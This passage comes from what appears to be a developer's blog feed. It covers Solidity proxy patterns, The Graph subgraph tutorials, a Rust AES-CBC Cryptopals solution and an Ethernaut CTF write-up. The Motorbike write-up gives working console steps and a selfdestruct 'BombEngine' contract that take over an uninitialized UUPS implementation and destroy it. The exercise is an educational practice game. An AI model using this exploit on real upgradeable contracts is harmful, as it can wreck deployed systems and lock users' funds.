    function store(uint256 value) public {
        _value = value;
    }

    function retrieve() public view returns (uint256) {
        return _value;
    }
}

contract BoxProxy {

     function _delegate(address implementation) internal virtual {
         // delegating logic call to boxImpl...
     }

     function getImplementationAddress() public view returns (address) {
         // Returns the address of the implementation contract
     }

     fallback() external {
         _delegate(getImplementationAddress());
     }
}

Although Box has defined a uint256 state variable _value, it is the BoxProxy contract that actually stores the value associated with _value (in slot 0, acc. to storage layout rules).

The delegation code is usually put it a fallback function of the Proxy.

The upgrading mechanism is nothing but authorized changing of the implementation contract address stored in proxy contract to point to a whole, newly deployed, upgraded implementation contract. And voila upgrade is complete! Proxy now delegates calls to this new contract. Although that older contract would stick around forever.

      upgrade call
Admin -----------> Proxy --x--> Implementation_v1
                     |
                      --------> Implementation_v2

Easy right? But there are a few gotchas like potential storage collision between proxy and implementation contract, arising from delegatecall.

Storage collision between Proxy and Implementation contracts

One cannot just go around and simply declare address implementation in Proxy contract because that would cause storage collision with the storage of implementation which may have multiple variables in it at overlapping storage slots!

|Proxy                   |Implementation |
|------------------------|---------------|
|address implementation  |address var1   | <- collision!
|                        |mapping var2   |
|                        |uint256 var3   |
|                        |...            |

Any write to var1 in implementation would actually write to implementation in Proxy (storage layer!).

Solution is to choose a pseudo-random slot and write the implementation address into that slot. That slot position should be sufficiently random so that having a variable in implementation contract at same slot is negligible.

|Proxy                   |Implementation |
|------------------------|---------------|
|    ..                  |address var1   |
|    ..                  |mapping var2   |
|    ..                  |uint256 var3   |
|    ..                  |    ..         |
|    ..                  |    ..         |
|address implementation  |    ..         | <- random slot

According to EIP-1967 one such slot could be calculated as:

bytes32 private constant implementationPosition = bytes32(uint256(
  keccak256('eip1967.proxy.implementation')) - 1
));

Every time implementation address needs to be accessed/modified this slot is read/written.

Storage collision between different Implementation version contracts

Remember that Proxy is the storage layer. And because of this, when upgrading to a new implementation, if a new state variable is added to implementation contract, it MUST be appended in storage layout. The new contract MUST extend the storage layout and NOT modify it. Otherwise, collisions may occur.

Wrong! ❌

|ImplementationV1 |ImplementationV2|
|-----------------|----------------|
|address foo      |address baz     | <- collision!
|mapping bar      |address foo     | 
|                 |mapping bar     |
|                 |...             |

Right! ✅

|ImplementationV1 |ImplementationV2|
|-----------------|----------------|
|address foo      |address foo     | 
|mapping bar      |mapping bar     | 
|                 |address baz     | <- extended
|                 |...             |

Initializing constructor code

Again, since the proxy is the storage layer, any initialization logic should run inside the proxy - like setting some initial values to state variables. But, you can't proxy call the constructor of the implementation contract. Because the constructor code is run only once - during deployment and it is not part of runtime bytecode. So, there is no way for proxy to directly access constructor bytecode and execute it in its context.

The solution to this (as per OpenZeppelin contracts) is to move the constructor code to a initializer function in implementation contract. This is just like a normal function but MUST be ensured that it is called only once.

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract MyContract is Initializable {
    // `initializer` modifier makes sure it runs only once
    function initialize(
        address arg1,
        uint256 arg2,
        bytes memory arg3
    ) public payable initializer {
        // "constructor" code...
    }
}

Function clashes between Proxy and Implementation

Since Proxy contract does exist, it is going to need functions of its own. Like a upgradeTo(address impl) function, for example. But, then it should decide whether to proxy/delegate the call to implementation or not. What if the implementation contract has a function with the same name i.e. upgradeTo(address someAddr)?

There must be a mechanism to determine whether to delegate the call to implementation or not. One such way (OpenZeppelin way) is by having an admin or owner address of the Proxy contract. Now, if the admin (i.e. msg.sender == admin) is making the calls to Proxy, it will not delegate the call but instead execute the function in Proxy itself, if it exists or reverts. For any other address it simply delegates the call to implementation. Thus only an admin address can call upgradeTo(address impl) of the Proxy to upgrade to new version of implementation contract.

Considering example of an Ownable ERC20 and and Ownable Proxy contract (owner is admin), this is how calls will go.

  msg.sender -> | proxy `owner`       | others
----------------|------------------------------------
`owner()`       | proxy.owner()       | erc20.owner()
`upgradeTo(..)` | proxy.upgradeTo(..) | reverts
`transfer(..)`  | reverts             | erc20.transfer(..)

All the calls in "other" column were delegated to implementation contract.

Transparent vs UUPS Proxies

Transparent and UUPS are just different patterns of implementing the proxy pattern to support upgrading mechanism for implementation contracts. There is actually not a very big difference between these two different patterns, in the sense that these share the same interface for upgrades and delegation to implementation contract.

The difference lies in where actually the upgrade logic resides - Proxy or the Implementation contract.

Transparent Proxy

In the Transparent Proxy pattern, the upgrade logic resides in the Proxy contract - meaning upgrade is handled by Proxy. A function like upgradeTo(address newImpl) must be called to upgrade to a new implementation contract. However, since this logic resides at Proxy, it is expensive to deploy these kind of proxies.

Transparent proxies also require that admin mechanisms to determine whether to delegate the call to implementation or execute a Proxy contract's function. Taking on the Box example:

contract Box {
    uint256 private _value;

    function store(uint256 value) public { /*..*/ }

    function retrieve() public view returns (uint256) { /*..*/ }
}

contract BoxProxy {

     function _delegate(address implementation) internal virtual { /*..*/ }

     function getImplementationAddress() public view returns (address) { /*..*/ }

     fallback() external { /*..*/ }

     // Upgrade logic in Proxy contract
     upgradeTo(address newImpl) external {
         // Changes stored address of implementation of contract
         // at its slot in storage
     }
}

UUPS Proxy

The UUPS pattern was first documented in EIP1822. Unlike Transparent pattern, in UUPS the upgrade logic is handled by the implementation contract itself. It is the role of implementation to include method for upgrade logic, along with usual business logic. You can make the any implementation contract UUPS compliant by making it inherit a common standard interface that requires one to include the upgrade logic, like inheriting OpenZeppelin's UUPSUpgradeable interface.

contract Box is UUPSUpgradeable {
    uint256 private _value;

    function store(uint256 value) public { /*..*/ }

    function retrieve() public view returns (uint256) { /*..*/ }

     // Upgrade logic in Implementation contract
     upgradeTo(address newImpl) external {
         // Changes stored address of implementation of contract
         // at its slot in storage
     }
}

contract BoxProxy {

     function _delegate(address implementation) internal virtual { /*..*/ }

     function getImplementationAddress() public view returns (address) { /*..*/ }

     fallback() external { /*..*/ }

}

It is highly recommended to inherit this interface to implementation contracts. Because failing to include upgrade logic in a new version implementation (non-UUPS compliant) and upgrading to it will lock the upgrade mechanism forever! Therefore it is recommended that you use libraries (like UUPSUpgradeable) that include measures to prevent this from happening.

Resources

Find me on Twitter @the_nvn

See profiles here

The Graph Tutorial: Creating a Subgraph

Naveen ⚡ — Tue, 15 Feb 2022 19:13:47 +0000

Before you continue, I'm assuming you know what The Graph is and what problems it tackles. If you haven't, I highly recommend checking out - Why The Graph.

Installation

First of all, you'll need Graph CLI tool. Install it via:

yarn

yarn global add @graphprotocol/graph-cli

or, npm

npm install -g @graphprotocol/graph-cli

In this tutorial I'll be using a simple Gravity contract as an example.

Before you can use the already installed Graph CLI, head over to the Subgraph Studio and connect your account. You'll need a wallet like MetaMask already installed on your browser. So make sure it is there.

Time to create a new subgraph in the studio now. Note that the Gravity contract is already deployed on Ethereum Mainnet. You can inspect it on Etherscan. It is deployed at the following address:

0x2E645469f354BB4F5c8a05B3b30A929361cf77eC

With this information known, go ahead and create a new subgraph in the studio. Select the Ethereum Mainnet as the network to index the contract data from. And fill-in a sensible name of subgraph like - Gravity. Hit continue. This will take you to dashboard where you may fill optional fields like description, website, etc. I'm gonna skip it for sake of brevity.

Initializing Subgraph

The Graph CLI provides graph init command to initialize the subgraph:

graph init \
  --product subgraph-studio
  --from-contract <CONTRACT_ADDRESS> \
  [--network <ETHEREUM_NETWORK>] \
  [--abi <FILE>] \
  <SUBGRAPH_SLUG> [<DIRECTORY>]

I recommend checking what each option does by running graph init --help in console.

Now copy the generated subgraph slug from the dashboard. It is gravity for me. We need it for initializing this subgraph:

graph init --studio gravity

(Note that --studio option above is nothing but short-hand for --product subgraph-studio)

This will prompt for multiple inputs like network name, contract address, ABI etc. In this case, we're using Ethereum Mainnet network, with an already deployed Gravity contract. Make sure your input match following:

✔ Protocol · ethereum
✔ Subgraph slug · gravity
✔ Directory to create the subgraph in · gravity
✔ Ethereum network · mainnet
✔ Contract address · 0x2E645469f354BB4F5c8a05B3b30A929361cf77eC
✔ Fetching ABI from Etherscan
✔ Contract Name · Gravity

If not provided inline to graph init, the cli will try to fetch the ABI of the contract from Etherscan. If not found, you'll need to provide path to the ABI file of the contract. ABI is easy to generate for your contract through dev tools like Hardhat or Truffle, one of which you might already be using. Or, you can simply copy it from IDE, if you're using Remix. In our case, ABI was already available on Etherscan.

Initialization creates a new directory containing multiple auto-generated files for you as a starting point. These include some configuration files specifically tailored for the provided contract through its ABI. Open this project in your favorite editor and let's start with next steps.

Configuring Subgraph Manifest

The subgraph manifest file - subgraph.yaml is a YAML file located at the root path. This describes the data-sources your subgraph will index. In this case, data-source is Gravity contract on Ethereum Mainnet. Replace the contents of file with:

specVersion: 0.0.4
description: Gravatar for Ethereum
repository: https://github.com/graphprotocol/example-subgraph
schema:
  file: ./schema.graphql
dataSources:
  - kind: ethereum/contract
    name: Gravity
    network: mainnet
    source:
      address: '0x2E645469f354BB4F5c8a05B3b30A929361cf77eC'
      abi: Gravity
      startBlock: 6175244
    mapping:
      kind: ethereum/events
      apiVersion: 0.0.6
      language: wasm/assemblyscript
      entities:
        - Gravatar
      abis:
        - name: Gravity
          file: ./abis/Gravity.json
      eventHandlers:
        - event: NewGravatar(uint256,address,string,string)
          handler: handleNewGravatar
        - event: UpdatedGravatar(uint256,address,string,string)
          handler: handleUpdatedGravatar
      file: ./src/mapping.ts

We're gonna keep this simple. You can find out about what each of the available fields mean at full-specification here. Though some notable ones are:

schema.file: Path to a GraphQL schema file defining what data is stored for your subgraph. This also generated with initialization.
dataSources: List of sources from which to index data. You can use a single subgraph to index the data from multiple smart-contracts.
dataSources.source: Address and ABI of the source smart-contract. startBlock indicates from which block of the blockchain to start indexing data from. Its value is usually the block at which the contract was deployed.
dataSources.mapping.entities: These are the entities that are written to The Graph network's storage. These entities are defined in a GraphQL schema file - schema.graphql.
dataSources.mapping.abis: ABI files for the source contract as well as any other smart contracts that you interact with from within the mappings (mapping.ts file that you will write).
dataSources.mapping.eventHandlers: List of the smart-contract events that this subgraph will react to with corresponding handlers that are defined in mappings file (./src/mapping.ts). It is these handlers that will transform the events to proper entities to be saved.
dataSources.mapping.callHandlers (not used here): Lists of the smart-contract functions the subgraph reacts to with corresponding handlers. These handlers are defined in the mapping too. They transform the inputs and outputs to function calls into entities in the store.
dataSources.mapping.blockHandlers (not used here): Blocks with handlers the subgraph will react to. With no filter it will react every time new block is appended to chain. However, a call filter will make the handler run only if the block contains at least one call to the data source contract.

Defining Entities

The entities are defined in a GraphQL schema file - schema.graphql, also located the root path. These entities indicate what data is stored for this subgraph and how to query it. If you're new to GraphQL, check out at least a primer on it on official website or if you're feeling adventurous like me try this awesome course by Apollo team.

Alright, I assume you have at least basic knowledge of GraphQL by now. But before defining entities think about the structure of your data, like how you would've done while designing schemas for a DB. All the queries made from user-facing app will me made against this data model. Rather than imagining these entities in smart-contract lingo i.e. imagining entities as "events" or contract "functions", imagine entities as data "objects". Your app will query on these objects.

In our case, for example, it can be seen in subgraph.yaml above that, the network is instructed to react to NewGravatar/UpdateGravatar through handlers - handleNewGravatar/handleUpdateGravatar (defined in mapping.ts). These handlers eventually convert event data to a related entity (Gravatar) defined in schema.graphql, which will then be saved/updated in storage.
Here the entity is the Gravatar object, not the individual events. A good schema would be:

type Gravatar @entity {
  id: ID!
  owner: Bytes
  displayName: String
  imageUrl: String
}

Open the schema.graphql and paste above to finish defining the entity.

Writing Mappings

The job of mappings file (in ./src/mapping.ts) is to convert data coming from blockchain (e.g. events) to an entity defined in the schema.graphql and write it to store. The mappings are written in AssemblyScript which can be compiled to WASM. It is a stricter subset of TypeScript. If you've never written any TypeScript ever, I recommend getting familiar with the syntax here.

All the APIs available to write these mappings is described in AssemblyScript API docs. You might want to check out at least Built-in Types and Store API specifically to start.

If you inspect ./src/mapping.ts, you can see already pre-filled code that was generated by the graph init command ran earlier. But this is based off the subgraph.yaml and schema.graphql before editing. Since we changed contents of these two we need to generate types corresponding to updated entities. This is so we can use these generated types/classes to write our mapping.ts. The Graph CLI provides the codegen command for this purpose. Run:

graph codegen

(This is also pre-configured in package.json so that you can run yarn codegen or npm codegen which does the same)

You can see the generated types/classes corresponding to schema as well as source contract(s) in the ./generated directory.

Alright, now is the time to write the handlers - handleNewGravatar and handleUpdateGravatar that were specified at dataSources.mapping.eventHandlers in the subgraph.manifest. Open the mapping.ts and replace with following:

// Import event classes
import {
  NewGravatar,
  UpdatedGravatar
} from "../generated/Gravity/Gravity";

// Import entity class
import { Gravatar } from "../generated/schema";

export function handleNewGravatar(event: NewGravatar): void {
  // Use id field from emitted event as unique id for the entity
  const id = event.params.id.toHex();

  // Create a new Gravatar Entity with unique id
  const gravatar = new Gravatar(id);

  // Set Gravatar Entity fields
  gravatar.owner = event.params.owner;
  gravatar.displayName = event.params.displayName;
  gravatar.imageUrl = event.params.imageUrl;

  // Save entity to store
  gravatar.save();
}

export function handleUpdatedGravatar(event: UpdatedGravatar): void {
  // Use proper id to load an entity from store
  const id = event.params.id.toHex();

  // Load the entity to be updated
  let gravatar = Gravatar.load(id);

  // Create the entity if it doesn't already exist
  if (!gravatar) {
    gravatar = new Gravatar(id);
  }

  // Set updated fields to entity
  gravatar.owner = event.params.owner;
  gravatar.displayName = event.params.displayName;
  gravatar.imageUrl = event.params.imageUrl;

  // Save updated entity to store
  gravatar.save();
}

Note the imports above are the same types/classes generated earlier by graph codegen. The handlers receive event of type NewGravatar/UpdateGravatar, which are subclass of a parent ethereum.Event class. The event data fields is available in event.params object.

Each entity requires a unique id assigned to it. Here, hex of event.params.id (type BigInt) from contract event is used. However, uniqueness can also be guaranteed by choosing id from event metadata like:

event.transaction.from.toHex()
event.transaction.hash.toHex() + "-" + event.logIndex.toString()

After setting/updating fields to entity, Store API provides methods like load and save on Entity (inherited by Gravatar) types to retrieve and save the entity to store.

Publishing the Subgraph

Now that all of the configuration is done, let's proceed to deploying this subgraph. But before doing that make sure that mapping.ts is checked without any errors or bugs. It is not checked by code generation step. As a necessary precaution run the build command:

graph build

(Or yarn build / npm build as this command must also be configured in package.json too)

This compiles the subgraph to WebAssembly. If there is a syntax error somewhere, it should fail. Otherwise, build succeeds, creating a ./build directory with built files.

For deploying the subgraph to Subgraph Studio, you'll need the deploy key of the subgraph. Go to the already created Gravity subgraph's dashboard in the studio and copy its deploy key. Now authenticate from cli with this key:

graph auth --studio <DEPLOY KEY>

This stores the access token to system's keychain.

Finally, deploy to studio by providing subgraph slug:

graph deploy --studio gravity

This will ask for a version label for current version of your subgraph. You can enter whatever version semantic you prefer or go with v0.0.1.

✔ Version Label (e.g. v0.0.1) · v0.0.1
.
.
✔ Apply migrations
✔ Load subgraph from subgraph.yaml
.
✔ Compile subgraph
.
✔ Write compiled subgraph to build/
.
.
✔ Upload subgraph to IPFS

Note that the subgraph is not yet published! It is currently deployed to the studio. After deployment it will start syncing data from the chain and take some time, after which you can play around and test it. Then, if everything seems to be ok, hit Publish. This will publish your subgraph to the production on the Graph network and you'll get an API endpoint, like below, where you query the data:

https://api.studio.thegraph.com/query/<ID>/<SUBGRAPH_NAME>/<VERSION>

Note that every query will be charged in GRT tokens as fees.

However, for testing purposes the studio also provides a temporary, rate limited API endpoint. For example, for me it was - https://api.studio.thegraph.com/query/21330/gravity/v0.0.1. Let's see if it works. You can use this online GraphQL client - GraphiQL for that. Enter your testing API endpoint and make the following query to get a gravatar by id and hit run:

query MyQuery {
  gravatar(id: "0xa") {
    displayName
    id
    imageUrl
    owner
  }
}

which outputs:

{
  "data": {
    "gravatar": {
      "displayName": "duqd",
      "id": "0xa",
      "imageUrl": "https://ucarecdn.com/ddbebfc0-...",
      "owner": "0x48c89d77ae34ae475e4523b25ab01e363dce5a78"
    }
  }
}

It worked!

This was a fairly simple example to familiarize with the workings of The Graph. You might define a more complex GraphQL schema, mappings and the subgraph manifest for a production application. Feel free to dive into the official docs for reference.

See full code at GitHub repo here.

Hope you learned some awesome stuff! 😎

Feel free to catch me here!

The Graph Tutorial: Why The Graph?

Naveen ⚡ — Sat, 12 Feb 2022 15:17:37 +0000

I'm assuming the reader of this article has prior experience in writing basic smart contracts, at minimum. If not, it's a great time to start.

What actually is The Graph?

From the official docs:

The Graph is a decentralized protocol for indexing and querying data from blockchains, starting with Ethereum. It makes it possible to query data that is difficult to query directly.

To sum up The Graph make querying data, of any kind, from the smart contract super easy. Which would be frustratingly hard to do otherwise.

Before diving directly into it, let's focus on what the real problem here is.

The Problem

Chances are you're also coming to web3 from the traditional web2 space, building client-server architecture-based web applications. You might have found the data-querying (from smart-contract storage) capabilities of a contract very limiting. Normally, you had to write any kind of query, however, complex it might be, at the server to retrieve from DB and you make it an API to connect to a user-facing app.

Let's take an example of a ubiquitous ERC-20 Token contract (abbreviated for simplicity):

contract Token is IERC20 {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
        .
        .
        .
}

Now think about how you would make a fairly-complex query from it, like: list all addresses with current balance, whose balances are greater than 100,000 and who've received allowance of more than 10,000.

If this was a database it would have been a fairly easy task. You have a wider range of freedom in terms of writing favorable table schemas and can write up a simple DB query in SQL syntax like:

SELECT address, balance FROM Token WHERE balance > 100000 AND total_received_allowance > 10000

or, a NoSQL MongoDB query:

db.token.find(
    { 
        balance: { $gt: 100000 }, 
        totalReceivedAllowance: { $gt: 10000 } 
    },
    { address: 1, balance: 1 }
)

And you're done in a couple of lines. Nothing brain-wrecking.

Now, just try to write a function in Token contract above that returns exactly the same results as the database above. You are destined to face multiple roadblocks:

Even a seemingly simple query is frustratingly hard
You might be forced to alter your data layout that complements that one query but might not complement other
More storage layout constraints if and when upgrading contracts through proxy patterns
Complex storage might introduce bugs and/or compromise security, etc.

And what about operations like joins, aggregations, relationships between entities, pagination, and non-trivial filters? Damn!

In the end, you'd have to go build a dedicated server that indexes and processes data from the blockchain, store them to a traditional database, and build APIs that now query from this database instead of directly from contract storage. In fact, this is what applications like Etherscan did. This is not only costly but deviating from the core goal and a very time-consuming task. How could you be free to innovate with such a barrier upfront?

The Solution

Now you know what exactly the problem is. To avoid setting up and maintaining your own dedicated blockchain indexing servers, just so that you can avail freedom around querying data however you want for your application.

The Graph is a decentralized protocol, meaning it is a network with multiple nodes working together to persist and serve the data in response to queries. The Graph network is run by multiple entities with different roles in the network - Indexer, Curator, Delegator and the Developer. In this tutorial I'll be focusing in on Developers. Though you can read more about the different roles here.

As a developer, you have to convey information about the "subgraph" corresponding to the contract(s) you will be querying the data from. This is done by writing some necessary configuration files laying out what and how to store data. Then this subgraph, which will be the source of your data, will be indexed by the network according to the requirements mentioned by you in configuration and become available to be queried through a GraphQL API endpoint.

The three required files that need to be defined by the Developer are:

Manifest (subgraph.yaml)

This file defines the data source to index data from, including target contract, block to start indexing from, events to respond to, etc.

Schema (schema.graphql)

The GraphQL schema that defines what data you wish to retrieve from the indexed subgraph. This is the same as defining well-structured & related models in an API.

AssemblyScript Mappings (mapping.ts)

Some code written in AssemblyScript that translates data from a data source (defined in subgraph.yaml) to structured entities (defined in schema.graphql) in the schema.

Exactly what goes in these files defines the whole subgraph and API available to you.
Check out the next in series - Creating a Subgraph to start creating your own subgraphs!

Hope you learned some awesome stuff! 😎

Feel free to catch me here!

CryptoPals Crypto Challenges Using Rust: Implement CBC Mode

Naveen ⚡ — Fri, 04 Feb 2022 16:02:41 +0000

This is Challenge 10 of Cryptopals challenges implemented using Rust language.

Context 💡

This asks us to implement CBC (cipher block chaining) mode of AES-128 encryption. Straightforward. Highly recommend checking out Challenge 7 and Challenge 9, if you haven't yet.

Like ECB mode, CBC is also a block cipher mode. It also encrypts blocks of fixed size of the plaintext with necessary paddings. The difference from ECB comes from the fact that before each block is encrypted with AES-128, it is XORed with the encrypted block (or Initialization Vector, IV for first block) that came before it. So, in a sense, each block is mixed with previous cipher block and then encrypted. Like shown in the following figure:

(Image source: Wikipedia)

Given key and IV, decryption is simply reverse of it. Each block is XORed with previous encrypted block (or IV) after being decrypted using AES.

(Image source: Wikipedia)

Code 🕶

This is going to use aes crate for AES-128 encryptions and our pkcs#7 padding implementation from Challenge 9.

I'm going to create a quick utility function to xor two slices of bytes:

pub fn xor_bytes(bytes1: &[u8], bytes2: &[u8]) -> Vec<u8> {
    bytes1
        .iter()
        .zip(bytes2.iter())
        .map(|(&b1, &b2)| b1 ^ b2)
        .collect()
}

The encryption function is straightforward too. It will take message, key and IV as params. Since, we're implementing AES-128, block size is 16. So, encryption will be processed 16 bytes block at a time. step_by() method of iterators is available for this purpose. After each block is encrypted and collected in a Vec it is hex encoded using hex crate.

use crate::set_2_block_crypto::c9_implement_pkcs_padding::pad_pkcs7;
use crate::utils::bitwise::xor_bytes;
use aes::cipher::{generic_array::GenericArray, BlockDecrypt, BlockEncrypt, NewBlockCipher};
use aes::Aes128;

pub fn aes_128_cbc_encrypt(message: &str, key_str: &str, iv_str: &str) -> String {
    // Normalize message by pkcs7 padding
    let padded_message = pad_pkcs7(message, 16);
    let msg_bytes = padded_message.as_bytes();
    let iv = iv_str.as_bytes().to_vec();

    let key = GenericArray::clone_from_slice(key_str.as_bytes());
    let cipher = Aes128::new(&key);

    let mut encrypted_blocks: Vec<Vec<u8>> = Vec::new();
    (0..message.len()).step_by(16).for_each(|x| {
        // Take last encrypted block or IV for first block iteration
        let last = encrypted_blocks.last().unwrap_or(&iv);

        // XOR last encrypted block with current msg block & encrypt result
        let xor_block = xor_bytes(last, &msg_bytes[x..x + 16]);
        let mut block = GenericArray::clone_from_slice(&xor_block);
        cipher.encrypt_block(&mut block);

        encrypted_blocks.push(block.into_iter().collect::<Vec<u8>>());
    });

    hex::encode(encrypted_blocks.into_iter().flatten().collect::<Vec<u8>>())
}

The decryption process is easy to follow too. Except, after being decrypted last byte is read to determine padding that was applied. And remove it to yield original message.

pub fn aes_128_cbc_decrypt(cipher_hex: &str, key_str: &str, iv_str: &str) -> String {
    let encrypted_bytes = hex::decode(cipher_hex).unwrap();
    let key = GenericArray::clone_from_slice(key_str.as_bytes());
    let iv = iv_str.as_bytes();
    let cipher = Aes128::new(&key);

    let mut decrypted_blocks: Vec<Vec<u8>> = Vec::new();
    (0..encrypted_bytes.len()).step_by(16).for_each(|x| {
        // Take last of encrypted block or IV in case of first block iteration
        let last = if x == 0 {
            &iv
        } else {
            &encrypted_bytes[x - 16..x]
        };

        // Decrypt AES
        let mut block = GenericArray::clone_from_slice(&encrypted_bytes[x..x + 16]);
        cipher.decrypt_block(&mut block);
        let decrypted_block = block.into_iter().collect::<Vec<u8>>();

        // XOR decrypted block with last encrypted block to undo xor during encryption
        let xor_block = xor_bytes(last, &decrypted_block);
        decrypted_blocks.push(xor_block);
    });

    // Get number of padding bytes applied during encryption & remove padding
    let padding_byte = *decrypted_blocks.last().unwrap().last().unwrap() as usize;
    decrypted_blocks
        .into_iter()
        .flatten()
        .take(encrypted_bytes.len() - padding_byte)
        .map(|x| x as char)
        .collect::<String>()
}

This was a quick & simple implementation for learning purpose. Serious implementations would enforce additional checks like validation of padding applied. And way more efficient operation like parallel decryption of blocks.

See code on GitHub

Find me on:

Twitter - @heyNvN

naveeen.com

Ethernaut Hacks Level 25: Motorbike

Naveen ⚡ — Sun, 30 Jan 2022 11:07:30 +0000

This is the level 25 of OpenZeppelin Ethernaut web3/solidity based game.

Pre-requisites

Hack

Given contracts:


// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    struct AddressSlot {
        address value;
    }

    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`. 
    // Will run if no other function in the contract matches the call data
    fallback () external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }

    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

player has to make the proxy (Motorbike) unusable by destroying the implementation/logic contract (Engine) through selfdestruct.

As you can see current Engine implementation has no selfdestruct logic anywhere. So, we can't call selfdestruct with current implementation anyway. But, since it is a logic/implementation contract of proxy pattern, it can be upgraded to a new contract that has the selfdestruct in it.

upgradeToAndCall method is at our disposal for upgrading to a new contract address, but it has an authorization check such that only the upgrader address can call it. So, player has to somehow take over as upgrader.

The key thing to keep in mind here is that any storage variables defined in the logic contract i.e. Engine is actually stored in the proxy's (Motorbike's) storage and not actually Engine. Proxy is the storage layer here which delegates only the logic to logic/implementation contract (logic layer).

What if we did try to write and read in the context of Engine directly, instead of going through proxy? We'll need address of Engine first. This address is at storage slot _IMPLEMENTATION_SLOT of Motorbike. Let's read it:

implAddr = await web3.eth.getStorageAt(contract.address, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')

// Output: '0x000000000000000000000000<20-byte-implementation-contract-address>'

This yields a 32 byte value (each slot is 32 byte). Remove padding of 0s to get 20 byte address:

implAddr = '0x' + implAddr.slice(-40)

// Output: '0x<20-byte-implementation-contract-address>'

Now, if we sent a transaction directly to initialize of Engine rather than going through proxy, the code will run in Engine's context rather than proxy's. That means the storage variables - initialized, initializing (inherited from Initializable), upgrader etc. will be read from Engine's storage slots. And these variables will most likely will contain their default values - false, false, 0x0 respectively because Engine was supposed to be only the logic layer, not storage.
And since initialized will be equal to false (default for bool) in context of Engine the initializer modifier on initialize method will pass!

Call the initialize at Engine's address i.e. at implAddr:

initializeData = web3.eth.abi.encodeFunctionSignature("initialize()")

await web3.eth.sendTransaction({ from: player, to: implAddr, data: initializeData })

Alright, invoking initialize method must've now set player as upgrader. Verify by:

upgraderData = web3.eth.abi.encodeFunctionSignature("upgrader()")

await web3.eth.call({from: player, to: implAddr, data: upgraderSig}).then(v => '0x' + v.slice(-40).toLowerCase()) === player.toLowerCase()

// Output: true

So, player is now eligible to upgrade the implementation contract now through upgradeToAndCall method. Let's create the following malicious contract - BombEngine in Remix:

// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;

contract BombEngine {
    function explode() public {
        selfdestruct(address(0));
    }
}

Deploy BombEngine (on same network) and copy it's address.

If we set the new implementation through upgradeToAndCall, passing BombEngine address and encoding of it's explode method as params, the existing Engine would destroy itself. This is because _upgradeToAndCall delegates a call to the given new implementation address with provided data param. And since delegatecall is context preserving, the selfdestruct of explode method would run in context of Engine. Thus Engine is destroyed.

Upgrade Engine to BombEngine. First set up function data of upgradeToAndCall to call at implAddress:

bombAddr = '<BombEngine-instance-address>'
explodeData = web3.eth.abi.encodeFunctionSignature("explode()")

upgradeSignature = {
    name: 'upgradeToAndCall',
    type: 'function',
    inputs: [
        {
            type: 'address',
            name: 'newImplementation'
        },
        {
            type: 'bytes',
            name: 'data'
        }
    ]
}

upgradeParams = [bombAddr, explodeData]

upgradeData = web3.eth.abi.encodeFunctionCall(upgradeSignature, upgradeParams)

Now call upgradeToAndCall at implAddr:

await web3.eth.sendTransaction({from: player, to: implAddr, data: upgradeData})

Boom! The Engine is destroyed! The Motorbike is now useless. Motorbike cannot even be repaired now because all the upgrade logic was in the logic contract which is now destroyed.

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

Ethernaut Hacks Level 24: Puzzle Wallet

Naveen ⚡ — Sat, 29 Jan 2022 18:11:32 +0000

This is the level 24 of OpenZeppelin Ethernaut web3/solidity based game.

Pre-requisites

delegatecall in Solidity
Proxy Patterns

Hack

Given contracts:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

